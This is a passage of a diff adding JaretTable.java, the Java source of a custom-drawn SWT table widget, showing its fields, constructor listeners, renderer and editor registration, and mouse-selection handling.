de.jaret.util.ui.table.model.IJaretTableCell; +import de.jaret.util.ui.table.model.IJaretTableModel; +import de.jaret.util.ui.table.model.IJaretTableModelListener; +import de.jaret.util.ui.table.model.IJaretTableSelection; +import de.jaret.util.ui.table.model.IJaretTableSelectionModel; +import de.jaret.util.ui.table.model.IJaretTableSelectionModelListener; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.model.IRowSorter; +import de.jaret.util.ui.table.model.ITableFocusListener; +import de.jaret.util.ui.table.model.ITableNode; +import de.jaret.util.ui.table.model.ITableViewState; +import de.jaret.util.ui.table.model.ITableViewStateListener; +import de.jaret.util.ui.table.model.JaretTableCellImpl; +import de.jaret.util.ui.table.model.JaretTableSelectionModelImpl; +import de.jaret.util.ui.table.model.StdHierarchicalTableModel; +import de.jaret.util.ui.table.model.ITableViewState.RowHeightMode; +import de.jaret.util.ui.table.renderer.BooleanCellRenderer; +import de.jaret.util.ui.table.renderer.DateCellRenderer; +import de.jaret.util.ui.table.renderer.DefaultTableHeaderRenderer; +import de.jaret.util.ui.table.renderer.DoubleCellRenderer; +import de.jaret.util.ui.table.renderer.ICellRenderer; +import de.jaret.util.ui.table.renderer.ICellStyle; +import de.jaret.util.ui.table.renderer.IHierarchyRenderer; +import de.jaret.util.ui.table.renderer.ITableHeaderRenderer; +import de.jaret.util.ui.table.renderer.ImageCellRenderer; +import de.jaret.util.ui.table.renderer.TableHierarchyRenderer; +import de.jaret.util.ui.table.renderer.TextCellRenderer; +import de.jaret.util.ui.table.strategies.DefaultCCPStrategy; +import de.jaret.util.ui.table.strategies.DefaultFillDragStrategy; +import de.jaret.util.ui.table.strategies.ICCPStrategy; +import de.jaret.util.ui.table.strategies.IFillDragStrategy; + +/** + * Custom drawn table widget for the SWT Toolkit. Always consider using the native table widget! + *

    + * The JaretTable features: + *

    + *
      + *
    • Flexible rendering of all elements
    • + *
    • CellEditor support
    • + *
    • Flat (table) and hierarchical (tree) support
    • + *
    • Separation between data model and viewstate
    • + *
    • row filtering and sorting without model modification
    • + *
    • simple auto filter
    • + *
    • drag fill support
    • + *
    • + *
    • + *
    + * + * Keyboard controls + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
    KeyFunction
    Shift+ClickMove focus
    ArrowsMove focus
    Shift-ArrowSelect Current cell, shift focus and select newly focussed cell and the rectangle of cells between first and + * current cell
    + * + * @author Peter Kliem + * @version $Id: JaretTable.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class JaretTable extends Canvas implements ITableViewStateListener, IJaretTableModelListener, + IJaretTableSelectionModelListener, PropertyChangeListener, PropertyObservable { + /** true for measuring paint time. */ + private static final boolean DEBUGPAINTTIME = false; + + /** pixel for row resize/selection if no fixed rows are present. */ + private static final int SELDELTA = 4; + + /** size of the marker for fill dragging. */ + private static final int FILLDRAGMARKSIZE = 4; + + /** default height for the header. */ + private static final int DEFAULTHEADERHEIGHT = 16; + + /** default value for the minimal header height. */ + private static final int DEFAULTMINHEADERHEIGHT = 10; + + /** button that is the poputrigger. */ + private static final int POPUPTRIGGER = 3; + + /** name of the bound property. */ + public static final String PROPERTYNAME_HEADERHEIGHT = "HeaderHeight"; + /** name of the bound property. */ + public static final String PROPERTYNAME_FIRSTROWIDX = "FirstRowIdx"; + /** name of the bound property. */ + public static final String PROPERTYNAME_FIRSTROWPIXELOFFSET = "FirstRowPixelOffset"; + /** name of the bound property. */ + public static final String PROPERTYNAME_ROWSORTER = "RowSorter"; + /** name of the bound property. */ + public static final String PROPERTYNAME_ROWFILTER = "RowFilter"; + /** Pseudo propertyname on which property change is fired whenever the sorting changes. */ + public static final String PROPERTYNAME_SORTING = "Sorting"; + /** Pseudo propertyname on which property change is fired whenever the filtering changes. */ + public static final String PROPERTYNAME_FILTERING = "Filtering"; + /** name of the bound property. */ + public static final String PROPERTYNAME_AUTOFILTERENABLE = "AutoFilterEnable"; + + // scroll positions of the main table area + /** Index of the first row displayed (may be only a half display). */ + protected int _firstRowIdx = 0; + /** Pixel offset of the display of the first row. */ + protected int _firstRowPixelOffset = 0; + /** Index of the first row displayed. */ + protected int _firstColIdx = 0; + /** pixel offset of the firs displayed column. */ + protected int _firstColPixelOffset = 0; + + /** number of fixed columns. */ + protected int _fixedColumns = 0; + /** number of fixed rows. */ + protected int _fixedRows = 0; + + /** cell renderer map for columns. */ + protected Map _colCellRendererMap = new HashMap(); + + /** cell renderer map for classes. */ + protected Map, ICellRenderer> _colClassRendererMap = new HashMap, ICellRenderer>(); + + /** cell editor map for columns. */ + protected Map _colCellEditorMap = new HashMap(); + + /** cell editor map for classes. */ + protected Map, ICellEditor> _colClassEditorMap = new HashMap, ICellEditor>(); + + /** configuration: support fill dragging. */ + protected boolean _supportFillDragging = true; + + /** fill drag strategy. * */ + protected IFillDragStrategy _fillDragStrategy = new DefaultFillDragStrategy(); + + /** Strategy for handling cut copy paste. */ + protected ICCPStrategy _ccpStrategy = new DefaultCCPStrategy(); + + /** table model. */ + protected IJaretTableModel _model; + + /** hierarchical table model if used. */ + protected IHierarchicalJaretTableModel _hierarchicalModel; + + /** table viewstate. */ + protected ITableViewState _tvs = new DefaultTableViewState(); + + /** List of rows actually diplayed (filtered and ordered). */ + protected List _rows = new ArrayList(); + + /** row filter. */ + protected IRowFilter _rowFilter; + + /** row sorter. */ + protected IRowSorter _rowSorter; + + /** List of columns actually displayed. */ + protected List _cols = new ArrayList(); + + /** Rectangle the headers are painted in. */ + protected Rectangle _headerRect; + + /** height of the headers. */ + protected int _headerHeight = DEFAULTHEADERHEIGHT; + + /** minimal height for the header. */ + protected int _minHeaderHeight = DEFAULTMINHEADERHEIGHT; + + /** if true headers will be drawn. */ + protected boolean _drawHeader = true; + + /** rectangle the main table is drawn into (withou fixedcolRect and without fixedRowRect!). */ + protected Rectangle _tableRect; + + /** Renderer used to render the headers. */ + protected ITableHeaderRenderer _headerRenderer = new DefaultTableHeaderRenderer(); + + /** Rectangle in which the fixed columns will be painted. */ + protected Rectangle _fixedColRect; + + /** Rectangle in which the fixed rows will be painted. */ + protected Rectangle _fixedRowRect; + + /** cache for the drag marker location. */ + protected Rectangle _dragMarkerRect; + + /** Rectangle the autofilter elements (combos) are placed. */ + protected Rectangle _autoFilterRect; + + /** if true autofilters are enabled and present. */ + protected boolean _autoFilterEnabled = false; + + /** Instance of the interbal RowFilter that makes up the autofilter. */ + protected AutoFilter _autoFilter = new AutoFilter(this); + + /** map containing the actual instantiated autofilters for the different columns. */ + protected Map _autoFilterMap = new HashMap(); + + /** map containing the autofilter classes to use for dedicated content classes. */ + protected Map, Class> _autoFilterClassMap = new HashMap, Class>(); + + /** map containing teh autofiletr classes to use for specified columns. */ + protected Map> _autoFilterColumnMap = new HashMap>(); + + /** if true header resizing is allowed. */ + private boolean _headerResizeAllowed = true; + + /** if true row resizes are allowed. */ + private boolean _rowResizeAllowed = true; + + /** if true column resizes are allowed. */ + private boolean _columnResizeAllowed = true; + + /** + * If true, resizing is only allowed in header and fixed columns (for rows) and the leftmost SELDELTA pixels of + * eachrow. + */ + protected boolean _resizeRestriction = false; + + /** if true fixed rows will not be affected by sorting operations. */ + protected boolean _excludeFixedRowsFromSorting = true; + + /** global flag for allowing sorting of the table. */ + protected boolean _allowSorting = true; + + // focus control + /** row of the focussed cell or null. */ + protected IRow _focussedRow = null; + + /** column of the focussed cell or null. */ + protected IColumn _focussedColumn = null; + + /** Listz of listeners interested in changes of the focussed cell. */ + protected List _tableFocusListeners; + + /** selection model used by the table. */ + protected IJaretTableSelectionModel _selectionModel = new JaretTableSelectionModelImpl(); + + // editing + /** cell editor used to edit a cell. will be nun null when editiing. */ + protected ICellEditor _editor; // if != null editing in progress + + /** control of the editor. */ + protected Control _editorControl = null; + + /** row that is edited. */ + protected IRow _editorRow; + + /** context menu used on table headers. */ + protected Menu _headerContextMenu; + + /** context menu used for rows. */ + protected Menu _rowContextMenu; + + /** Delegate to handle property change listener support. */ + protected PropertyChangeSupport _propertyChangeSupport; + + /** row information cache. */ + protected List _rowInfoCache = null; + /** column information cache. */ + protected List _colInfoCache = new ArrayList(); + + /** + * Simple struct for storing row information. + * + * @author Peter Kliem + * @version $Id: JaretTable.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ + public class RowInfo { + /** beginning y coordinate. */ + public int y; + /** row reference. */ + public IRow row; + /** height of the row. */ + public int height; + /** fixed row flag. */ + public boolean fixed = false; + + /** + * Construct a row info instance. + * + * @param rowIn row reference + * @param yIn begin y + * @param heightIn height of the row + * @param fixedIn true if the row is a fixed row + */ + public RowInfo(IRow rowIn, int yIn, int heightIn, boolean fixedIn) { + this.row = rowIn; + this.y = yIn; + this.height = heightIn; + this.fixed = fixedIn; + } + } + + /** + * Simple struct for storing column information. + * + * @author Peter Kliem + * @version $Id: JaretTable.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ + public class ColInfo { + /** begin x coordinate. */ + public int x; + + /** column reference. */ + public IColumn column; + + /** actual width of the column. */ + public int width; + + /** + * Construct a col info instance. + * + * @param columnIn col ref + * @param xIn begin x + * @param widthIn width in pixel + */ + public ColInfo(IColumn columnIn, int xIn, int widthIn) { + this.column = columnIn; + this.x = xIn; + this.width = widthIn; + } + } + + /** + * Constructor for a new JaretTable widget. + * + * @param parent parent composite + * @param style style bits (use HSCROLL, VSCROLL) + */ + public JaretTable(Composite parent, int style) { + // no background painting + super(parent, style | SWT.NO_REDRAW_RESIZE | SWT.NO_BACKGROUND | SWT.DOUBLE_BUFFERED); + + addPaintListener(new PaintListener() { + public void paintControl(PaintEvent event) { + onPaint(event); + } + }); + + addMouseListener(new MouseListener() { + + public void mouseDoubleClick(MouseEvent me) { + mouseDouble(me.x, me.y); + } + + public void mouseDown(MouseEvent me) { + forceFocus(); + mousePressed(me.x, me.y, me.button == POPUPTRIGGER, me.stateMask); + } + + public void mouseUp(MouseEvent me) { + mouseReleased(me.x, me.y, me.button == POPUPTRIGGER); + } + }); + + addMouseMoveListener(new MouseMoveListener() { + public void mouseMove(MouseEvent me) { + if ((me.stateMask & SWT.BUTTON1) != 0) { + mouseDragged(me.x, me.y, me.stateMask); + } else { + mouseMoved(me.x, me.y, me.stateMask); + } + } + }); + + addMouseTrackListener(new MouseTrackListener() { + public void mouseEnter(MouseEvent arg0) { + } + + public void mouseExit(MouseEvent arg0) { + // on exit set standard cursor + if (Display.getCurrent().getActiveShell() != null) { + Display.getCurrent().getActiveShell().setCursor( + Display.getCurrent().getSystemCursor(SWT.CURSOR_ARROW)); + } + } + + public void mouseHover(MouseEvent me) { + setToolTipText(getToolTipText(me.x, me.y)); + } + }); + + addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent event) { + onDispose(event); + } + }); + + // key listener for keyboard control + addKeyListener(new KeyListener() { + public void keyPressed(KeyEvent event) { + handleKeyPressed(event); + } + + public void keyReleased(KeyEvent arg0) { + } + }); + + Listener listener = new Listener() { + public void handleEvent(Event event) { + switch (event.type) { + case SWT.Resize: + updateScrollBars(); + break; + default: + // do nothing + break; + } + } + }; + addListener(SWT.Resize, listener); + + ScrollBar verticalBar = getVerticalBar(); + if (verticalBar != null) { + verticalBar.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + handleVerticalScroll(event); + } + }); + } + + ScrollBar horizontalBar = getHorizontalBar(); + if (horizontalBar != null) { + horizontalBar.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + handleHorizontalScroll(event); + } + }); + } + + _tableRect = getClientArea(); + _fixedColRect = getClientArea(); + + // updateYScrollBar(); + + // register default cell renderers, editors and autofilters + registerDefaultRenderers(); + registerDefaultEditors(); + registerDefaultAutofilters(); + + // register with the viewstate + _tvs.addTableViewStateListener(this); + + // register with the selection model + _selectionModel.addTableSelectionModelListener(this); + + setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_WHITE)); + + _propertyChangeSupport = new PropertyChangeSupport(this); + } + + /** + * Dispose whatever there is to dispose (renderers and so on). + * + * @param event dispose event + */ + private void onDispose(DisposeEvent event) { + // header renderer + if (_headerRenderer != null) { + _headerRenderer.dispose(); + } + // cell renderers + for (ICellRenderer renderer : _colCellRendererMap.values()) { + renderer.dispose(); + } + for (ICellRenderer renderer : _colClassRendererMap.values()) { + renderer.dispose(); + } + // cell editors + for (ICellEditor editor : _colCellEditorMap.values()) { + editor.dispose(); + } + for (ICellEditor editor : _colClassEditorMap.values()) { + editor.dispose(); + } + // autofilters + for (IAutoFilter autoFilter : _autoFilterMap.values()) { + autoFilter.dispose(); + } + if (_rowSorter != null) { + _rowSorter.removePropertyChangeListener(this); + } + if (_rowFilter != null) { + _rowFilter.removePropertyChangeListener(this); + } + if (_ccpStrategy != null) { + _ccpStrategy.dispose(); + } + } + + /** + * Register all default renderers. + * + */ + private void registerDefaultRenderers() { + ICellRenderer cellRenderer = new TextCellRenderer(); + registerCellRenderer(void.class, cellRenderer); + registerCellRenderer(String.class, cellRenderer); + registerCellRenderer(Image.class, new ImageCellRenderer()); + cellRenderer = new BooleanCellRenderer(); + registerCellRenderer(Boolean.class, cellRenderer); + registerCellRenderer(Boolean.TYPE, cellRenderer); + cellRenderer = new DateCellRenderer(); + registerCellRenderer(Date.class, cellRenderer); + registerCellRenderer(JaretDate.class, cellRenderer); + cellRenderer = new DoubleCellRenderer(); + registerCellRenderer(Double.class, cellRenderer); + registerCellRenderer(Double.TYPE, cellRenderer); + } + + /** + * Register all default editors. + * + */ + private void registerDefaultEditors() { + registerCellEditor(String.class, new TextCellEditor(true)); + registerCellEditor(Boolean.class, new BooleanCellEditor(true)); + registerCellEditor(Date.class, new DateCellEditor()); + registerCellEditor(JaretDate.class, new DateCellEditor()); + registerCellEditor(Enum.class, new EnumComboEditor()); + registerCellEditor(Integer.class, new IntegerCellEditor()); + registerCellEditor(Integer.TYPE, new IntegerCellEditor()); + registerCellEditor(Double.class, new DoubleCellEditor()); + registerCellEditor(Double.TYPE, new DoubleCellEditor()); + } + + /** + * Regsiter the default autofilters. + */ + private void registerDefaultAutofilters() { + registerAutoFilterForClass(String.class, DefaultAutoFilter.class); + } + + /** + * Register a cell renderer for rendering objects of class clazz. + * + * @param clazz class the renderer should be applied for + * @param cellRenderer renderer to use for clazz + */ + public void registerCellRenderer(Class clazz, ICellRenderer cellRenderer) { + _colClassRendererMap.put(clazz, cellRenderer); + } + + /** + * Register a cell renderer for a column. + * + * @param column column the renderer should be used on + * @param cellRenderer renderer to use + */ + public void registerCellRenderer(IColumn column, ICellRenderer cellRenderer) { + _colCellRendererMap.put(column, cellRenderer); + } + + /** + * Retrieve the cell renderer for a cell. + * + * @param row row row of the cell + * @param column column column of the cell + * @return cell renderer + */ + protected ICellRenderer getCellRenderer(IRow row, IColumn column) { + // first check column specific renderers + ICellRenderer renderer = null; + renderer = _colCellRendererMap.get(column); + if (renderer == null) { + // try class map + Object value = column.getValue(row); + if (value != null) { + renderer = getCellRendererFromMap(value.getClass()); + } + if (renderer == null) { + // nothing? -> default + renderer = _colClassRendererMap.get(void.class); + } + } + return renderer; + } + + /** + * Register a cell editor for objects of class clazz. + * + * @param clazz class of objeects the editor should be used for + * @param cellEditor editor to use + */ + public void registerCellEditor(Class clazz, ICellEditor cellEditor) { + _colClassEditorMap.put(clazz, cellEditor); + } + + /** + * Register a cell editor for a column. + * + * @param column column the editor should be used for + * @param cellEditor editor to use + */ + public void registerCellEditor(IColumn column, ICellEditor cellEditor) { + _colCellEditorMap.put(column, cellEditor); + } + + /** + * Retrieve the cell editor for a cell. + * + * @param row row of the cell + * @param column col of the cell + * @return cell editor or null if no editor can be found + */ + private ICellEditor getCellEditor(IRow row, IColumn column) { + // first check column specific renderers + ICellEditor editor = null; + editor = _colCellEditorMap.get(column); + if (editor == null) { + // try class map + Object value = column.getValue(row); + if (value != null) { + editor = getCellEditorFromMap(value.getClass()); + } else if (column.getContentClass(row) != null) { + editor = getCellEditorFromMap(column.getContentClass(row)); + } else if (column.getContentClass() != null) { + editor = getCellEditorFromMap(column.getContentClass()); + } + } + return editor; + } + + /** + * Retrieve a cell editor for a given class. Checks all interfaces and all superclasses. + * + * @param clazz class in queston + * @return editor or null + */ + private ICellEditor getCellEditorFromMap(Class clazz) { + ICellEditor result = null; + result = _colClassEditorMap.get(clazz); + if (result != null) { + return result; + } + + Class[] interfaces = clazz.getInterfaces(); + for (Class c : interfaces) { + result = _colClassEditorMap.get(c); + if (result != null) { + return result; + } + } + + Class sc = clazz.getSuperclass(); + + while (sc != null) { + result = _colClassEditorMap.get(sc); + if (result != null) { + return result; + } + // interfaces of the superclass + Class[] scinterfaces = sc.getInterfaces(); + for (Class c : scinterfaces) { + result = _colClassEditorMap.get(c); + if (result != null) { + return result; + } + } + sc = sc.getSuperclass(); + } + + return result; + } + + /** + * Retrieve a cell renderer for a given class. Checks all interfaces and all superclasses. + * + * @param clazz class in queston + * @return renderer or null + */ + private ICellRenderer getCellRendererFromMap(Class clazz) { + ICellRenderer result = null; + result = _colClassRendererMap.get(clazz); + if (result != null) { + return result; + } + + Class[] interfaces = clazz.getInterfaces(); + for (Class c : interfaces) { + result = _colClassRendererMap.get(c); + if (result != null) { + return result; + } + } + + Class sc = clazz.getSuperclass(); + + while (sc != null) { + result = _colClassRendererMap.get(sc); + if (result != null) { + return result; + } + // interfaces of the superclass + Class[] scinterfaces = sc.getInterfaces(); + for (Class c : scinterfaces) { + result = _colClassRendererMap.get(c); + if (result != null) { + return result; + } + } + sc = sc.getSuperclass(); + } + + return result; + } + + /** + * Register an autofilter implementing class to be used on columns that announce a specific content class. + * + * @param clazz content clazz thet triggers the use of the filter + * @param autoFilterClass class implementing the IAutoFilter interface that will be used + */ + public void registerAutoFilterForClass(Class clazz, Class autoFilterClass) { + _autoFilterClassMap.put(clazz, autoFilterClass); + } + + /** + * Regsiter an autofilter implementing class for use with a specific column. + * + * @param column column + * @param autoFilterClass class of autofilter that will be used + */ + public void registerAutoFilterForColumn(IColumn column, Class autoFilterClass) { + _autoFilterColumnMap.put(column, autoFilterClass); + } + + /** + * Get the autofiletr class to be used on a column. + * + * @param column column + * @return class or null if none could be determined + */ + protected Class getAutoFilterClass(IColumn column) { + Class result = _autoFilterColumnMap.get(column); + if (result != null) { + return result; + } + Class contentClass = column.getContentClass(); + if (contentClass != null) { + result = getAutoFilterClassForClass(contentClass); + } + // nothing found so long -> use default (String) filter + if (result == null) { + result = _autoFilterClassMap.get(String.class); + } + return result; + } + + /** + * Retrieve autofilter class for a given content class. Takes interfaces and superclasses into account. + * + * @param clazz content class + * @return class to be used or null if none could be determined + */ + private Class getAutoFilterClassForClass(Class clazz) { + Class result = null; + result = _autoFilterClassMap.get(clazz); + if (result != null) { + return result; + } + + Class[] interfaces = clazz.getInterfaces(); + for (Class c : interfaces) { + result = _autoFilterClassMap.get(c); + if (result != null) { + return result; + } + } + + Class sc = clazz.getSuperclass(); + + while (sc != null) { + result = _autoFilterClassMap.get(sc); + if (result != null) { + return result; + } + // interfaces of the superclass + Class[] scinterfaces = sc.getInterfaces(); + for (Class c : scinterfaces) { + result = _autoFilterClassMap.get(c); + if (result != null) { + return result; + } + } + sc = sc.getSuperclass(); + } + + return result; + } + + // ////// mouse handling + /** currently dragged row (dragging height). */ + protected RowInfo _heightDraggedRowInfo = null; + + /** currently dragged (width) column or null. */ + protected ColInfo _widthDraggedColumn = null; + + /** true if the header height is beeing dragged. */ + protected boolean _headerDragged = false; + + /** + * Handle mouse double click. + * + * @param x x coordinate + * @param y y coordinate + */ + private void mouseDouble(int x, int y) { + if (_tableRect.contains(x, y) || (_fixedColumns > 0 && _fixedColRect.contains(x, y)) + || (_fixedRows > 0 && _fixedRowRect.contains(x, y))) { + setFocus(x, y); + startEditing(rowForY(y), colForX(x), (char) 0); + } + } + + /** + * Handle mouse pressed. + * + * @param x x coordinate + * @param y y coordinate + * @param popuptrigger true if the button pressed was the popup trigger + * @param stateMask statemask from the event + */ + private void mousePressed(int x, int y, boolean popuptrigger, int stateMask) { + // check for location over drag marker and start fill drag if necessary + if (_dragMarkerRect != null && _dragMarkerRect.contains(x, y)) { + _isFillDrag = true; + _firstFillDragSelect = _selectedIdxRectangle; + return; + } + + IRow row = rowByBottomBorder(y); + if (row != null + && _rowResizeAllowed + && (_tvs.getRowHeigthMode(row) == RowHeightMode.VARIABLE || _tvs.getRowHeigthMode(row) == RowHeightMode.OPTANDVAR) + && (!_resizeRestriction || Math.abs(x - _tableRect.x) <= SELDELTA || (_fixedColRect != null && _fixedColRect + .contains(x, y)))) { + _heightDraggedRowInfo = getRowInfo(row); + return; + } else { + IColumn col = colByRightBorder(x); + if (col != null && _columnResizeAllowed && _tvs.columnResizingAllowed(col) + && (!_resizeRestriction || _headerRect == null || _headerRect.contains(x, y))) { + _widthDraggedColumn = getColInfo(col); + return; + } + } + // check header drag + if (_headerResizeAllowed && Math.abs(_headerRect.y + _headerRect.height - y) <= SELDELTA) { + _headerDragged = true; + return; + } + // handle mouse press for selection + boolean doSelect = true; + // check focus set + if (_tableRect.contains(x, y) || (_fixedColumns > 0 && _fixedColRect.contains(x, y)) + || (_fixedRows > 0 && _fixedRowRect.contains(x, y))) { + setFocus(x, y); + doSelect = !handleEditorSingleClick(x, y); + } + // check hierarchy + if (_tableRect.contains(x, y) || (_fixedColumns > 0 && _fixedColRect.contains(x, y)) + || (_fixedRows > 0 && _fixedRowRect.contains(x, y))) { + IRow xrow = rowForY(y); + IColumn xcol = colForX(x); + if (xrow != null && xcol != null && isHierarchyColumn(xrow, xcol)) { + Rectangle rect = getCellBounds(xrow, xcol); + IHierarchyRenderer hrenderer = (IHierarchyRenderer) getCellRenderer(xrow, xcol); + if (hrenderer.isInActiveArea(xrow, rect, x, y)) { + toggleExpanded(xrow); + } + } + } + // check header sorting clicks + IColumn xcol = colForX(x); + if (_allowSorting && _headerRect.contains(x, y) + && _headerRenderer.isSortingClick(getHeaderDrawingArea(xcol), xcol, x, y)) { + _tvs.setSorting(xcol); + } else if (doSelect) { + // selection can be intercepted by editor clicks + handleSelection(x, y, stateMask, false); + } + } + + /** + * Toggle the expanded state of a row. + * + * @param row row to toggle + */ + private void toggleExpanded(IRow row) { + IHierarchicalTableViewState hvs = (IHierarchicalTableViewState) _tvs; + hvs.setExpanded((ITableNode) row, !hvs.isExpanded((ITableNode) row)); + } + + /** + * Determine whether the column is the hierrarchy column. This is accomplished by looking at the cell renderer + * class. + * + * @param row row + * @param col column + * @return true if hte adressed cell is part of the hierarchy column + */ + private boolean isHierarchyColumn(IRow row, IColumn col) { + if (row == null || col == null) { + return false; + } + return getCellRenderer(row, col) instanceof TableHierarchyRenderer; + } + + /** + * Check whether a column is the hierarchy column. + * + * @param column column to check + * @return true if the column is the hierarchy column + */ + public boolean isHierarchyColumn(IColumn column) { + if (column == null) { + return false; + } + return isHierarchyColumn(_rows.get(0), column); + } + + /** + * Retrieve the rectangle in which the header of a column is drawn. + * + * @param col column + * @return drawing rectangle for the header + */ + private Rectangle getHeaderDrawingArea(IColumn col) { + int x = getColInfo(col).x; + Rectangle r = new Rectangle(x, _tableRect.y, _tvs.getColumnWidth(col), _tableRect.height); + return r; + } + + /** + * Check whether a click is a row selection. + * + * @param x x coordinate + * @param y y coordinate + * @return true for click on the left margin of the table or in the fixed column area + */ + private boolean isRowSelection(int x, int y) { + return (Math.abs(x - _tableRect.x) <= SELDELTA || (_fixedColRect != null && _fixedColRect.contains(x, y))); + } + + /** + * Check whether a click is a column selection. + * + * @param x x coordinate + * @param y y coordinate + * @return true for coordinate in header or fixed rows + */ + private boolean isColumnSelection(int x, int y) { + return (_headerRect != null && _headerRect.contains(x, y)) + || (_fixedRowRect != null && _fixedRowRect.contains(x, y)); + } + + protected int _firstCellSelectX = -1; + protected int _firstCellSelectY = -1; + protected int _lastCellSelectX = -1; + protected int _lastCellSelectY = -1; + + /** + * marker flag for drag operation: fill drag. + */ + protected boolean _isFillDrag = false; + + /** first col selected in drag. */ + protected int _firstColSelectIdx = -1; + /** last col selected in drag or as standard col selection. */ + protected int _lastColSelectIdx = -1; + int _lastKeyColSelectIdx = -1; + int _firstKeyColSelectIdx = -1; + + /** first row selected in drag. */ + protected int _firstRowSelectIdx = -1; + /** last row selected in drag. */ + protected int _lastRowSelectIdx = -1; + int _lastKeyRowSelectIdx = -1; + int _firstKeyRowSelectIdx = -1; + + /** last cell idx selected by shift-arrow. */ + protected Point _lastKeySelect = null; + /** first cell idx selected by shift-arrow. */ + protected Point _firstKeySelect = null; + + /** enum for the selection type (intern). */ + private enum SelectType { + NONE, CELL, COLUMN, ROW + }; + + /** index rectangle of selected cells whenn a fill drag starts. */ + Rectangle _firstFillDragSelect = null; + /** true if the fill drag is horizontal (fill along the x axis), false for vertical fill drag. */ + private boolean _horizontalFillDrag; + + /** type of the last selection, used for handling keyboard selection. */ + protected SelectType _lastSelectType = SelectType.NONE; + + /** + * Handle selection operations. + * + * @param x x + * @param y y + * @param stateMask key state mask + * @param dragging true when dragging + */ + private void handleSelection(int x, int y, int stateMask, boolean dragging) { + // a mouse select always ends a shift-arrow select + _lastKeySelect = null; + _firstKeySelect = null; + _firstKeyColSelectIdx = -1; + _lastKeyColSelectIdx = -1; + _firstKeyRowSelectIdx = -1; + _lastKeyRowSelectIdx = -1; + + IRow row = rowForY(y); + int rowIdx = row != null ? _rows.indexOf(row) : -1; + IColumn col = colForX(x); + int colIdx = getColumnIdx(col); + + // check fill dragging + if (dragging && _isFillDrag) { + if (_selectionModel.isCellSelectionAllowed() && _tableRect.contains(x, y)) { + if (col != null && row != null) { + if (_firstCellSelectX == -1) { + _firstCellSelectX = colIdx; + _firstCellSelectY = rowIdx; + } + if (Math.abs(_firstCellSelectX - colIdx) > Math.abs(_firstCellSelectY - rowIdx)) { + rowIdx = _firstCellSelectY; + row = rowForIdx(rowIdx); + _horizontalFillDrag = false; + } else { + colIdx = _firstCellSelectX; + col = colForIdx(colIdx); + _horizontalFillDrag = true; + } + ensureSelectionContainsRegion(_firstFillDragSelect, colIdx, rowIdx, _lastCellSelectX, + _lastCellSelectY); + // ensureSelectionContainsRegion(_firstCellSelectX, _firstCellSelectY, colIdx, rowIdx, + // _lastCellSelectX, _lastCellSelectY); + _lastCellSelectX = colIdx; + _lastCellSelectY = rowIdx; + // a newly selected cell will always be the focussed cell (causes scrolling this cell to be + // completely visible) + setFocus(row, col); + } + } + + return; + } + + // check row selection + if (row != null && _selectionModel.isFullRowSelectionAllowed() + && (isRowSelection(x, y) || _selectionModel.isOnlyRowSelectionAllowed() || _firstRowSelectIdx != -1)) { + if (_firstRowSelectIdx == -1) { + _firstRowSelectIdx = rowIdx; + } + if ((stateMask & SWT.CONTROL) != 0) { + if (!_selectionModel.getSelection().getSelectedRows().contains(row)) { + _selectionModel.addSelectedRow(row); + } else { + _selectionModel.remSelectedRow(row); + } + _lastSelectType = SelectType.ROW; + } else if (dragging) { + ensureSelectionContainsRowRegion(_firstRowSelectIdx, rowIdx, _lastRowSelectIdx); + _lastRowSelectIdx = rowIdx; + _lastSelectType = SelectType.ROW; + } else { + _selectionModel.clearSelection(); + _selectionModel.addSelectedRow(row); + _lastSelectType = SelectType.ROW; + } + _lastRowSelectIdx = rowIdx; + return; + } + // check column selection + if (_selectionModel.isFullColumnSelectionAllowed() && (isColumnSelection(x, y) || _firstColSelectIdx != -1)) { + if (_firstColSelectIdx == -1) { + _firstColSelectIdx = colIdx; + } + if ((stateMask & SWT.CONTROL) != 0) { + if (!_selectionModel.getSelection().getSelectedColumns().contains(col)) { + _selectionModel.addSelectedColumn(col); + } else { + _selectionModel.remSelectedColumn(col); + } + _lastSelectType = SelectType.COLUMN; + } else if (dragging) { + ensureSelectionContainsColRegion(_firstColSelectIdx, colIdx, _lastColSelectIdx); + _lastColSelectIdx = colIdx; + _lastSelectType = SelectType.COLUMN; + } else { + _selectionModel.clearSelection(); + _selectionModel.addSelectedColumn(col); + _lastSelectType = SelectType.COLUMN; + } + _lastColSelectIdx = colIdx; + return; + } + // check cell selection + if (_selectionModel.isCellSelectionAllowed() && _tableRect.contains(x, y)) { + if (col != null && row != null) { + IJaretTableCell cell = new JaretTableCellImpl(row, col); + if (_firstCellSelectX == -1) { + _firstCellSelectX = colIdx; + _firstCellSelectY = rowIdx; + } + if ((stateMask & SWT.CONTROL) != 0) { + if (!_selectionModel.getSelection().getSelectedCells().contains(cell)) { + _selectionModel.addSelectedCell(cell); + } else { + _selectionModel.remSelectedCell(cell); + } + _lastSelectType = SelectType.CELL; + } else if (dragging) { + ensureSelectionContainsRegion(_firstCellSelectX, _firstCellSelectY, colIdx, rowIdx, + _lastCellSelectX, _lastCellSelectY); + _lastCellSelectX = colIdx; + _lastCellSelectY = rowIdx; + _lastSelectType = SelectType.CELL; + } else { + _selectionModel.clearSelection(); + _selectionModel.addSelectedCell(cell); + _lastSelectType = SelectType.CELL; + } + // a newly selected cell will always be the focussed cell (causes scrolling this cell to be completely + // visible) + setFocus(row, col); + } + } + + } + + /** + * Ensures that the selection contains the rows from firstIdx to rowIdx. If the range firstIdx to lastIdx is larger + * than the region the other rows will be removed from the selection. + * + * @param firstRowSelectIdx first selected row index + * @param rowIdx current selected row index + * @param lastRowSelectIdx may be -1 for no last selection + */ + private void ensureSelectionContainsRowRegion(int firstRowSelectIdx, int rowIdx, int lastRowSelectIdx) { + int first = Math.min(firstRowSelectIdx, rowIdx); + int end = Math.max(firstRowSelectIdx, rowIdx); + for (int i = first; i <= end; i++) { + IRow row = rowForIdx(i); + if (!_selectionModel.getSelection().getSelectedRows().contains(row)) { + _selectionModel.addSelectedRow(row); + } + } + if (lastRowSelectIdx != -1) { + int f = Math.min(firstRowSelectIdx, 